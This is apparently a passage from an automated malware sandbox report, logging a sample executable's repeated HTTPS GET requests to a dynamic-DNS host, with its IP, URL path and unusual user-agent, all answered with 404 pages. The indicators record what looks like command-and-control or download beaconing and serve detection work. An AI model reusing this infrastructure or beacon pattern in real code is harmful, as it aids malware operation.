2022-08-05 10:10:33 UTC	2	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:33 UTC	3	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:33 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:33 UTC	3	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.6	49862	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:35 UTC	29	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:35 UTC	29	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:35 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:35 UTC	29	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.6	49863	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:36 UTC	30	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:36 UTC	30	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:36 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:36 UTC	30	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.6	49864	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:37 UTC	30	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:37 UTC	30	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:37 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:37 UTC	30	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.6	49865	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:38 UTC	30	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:38 UTC	31	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:38 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:38 UTC	31	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.6	49867	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:40 UTC	31	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:40 UTC	31	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:40 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:40 UTC	31	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.6	49868	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:41 UTC	31	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:41 UTC	31	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:41 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:41 UTC	31	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	49870	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:41 UTC	32	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:42 UTC	32	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:42 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:42 UTC	32	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	49871	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:42 UTC	32	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:42 UTC	32	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:42 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:42 UTC	32	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	49872	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:44 UTC	32	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:44 UTC	33	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:44 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:44 UTC	33	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	49873	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:46 UTC	33	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:46 UTC	33	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:46 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:46 UTC	33	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	49764	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:34 UTC	3	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:34 UTC	3	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:34 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:34 UTC	3	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	49874	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:47 UTC	33	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:47 UTC	33	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:47 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:47 UTC	34	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	49875	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:47 UTC	34	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:47 UTC	34	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:47 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:47 UTC	34	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.6	49876	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:48 UTC	34	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:48 UTC	34	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:48 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:48 UTC	34	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.6	49877	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:49 UTC	35	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:49 UTC	35	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:49 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:49 UTC	35	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.6	49878	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:49 UTC	35	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:49 UTC	35	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:49 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:49 UTC	35	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.6	49880	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:51 UTC	35	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:51 UTC	36	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:51 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:51 UTC	36	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.6	49881	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:52 UTC	36	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:52 UTC	36	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:52 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:52 UTC	36	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.6	49882	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:54 UTC	36	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:54 UTC	36	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:54 GMT Content-Type: text/html Content-Length: 146 Connection: close
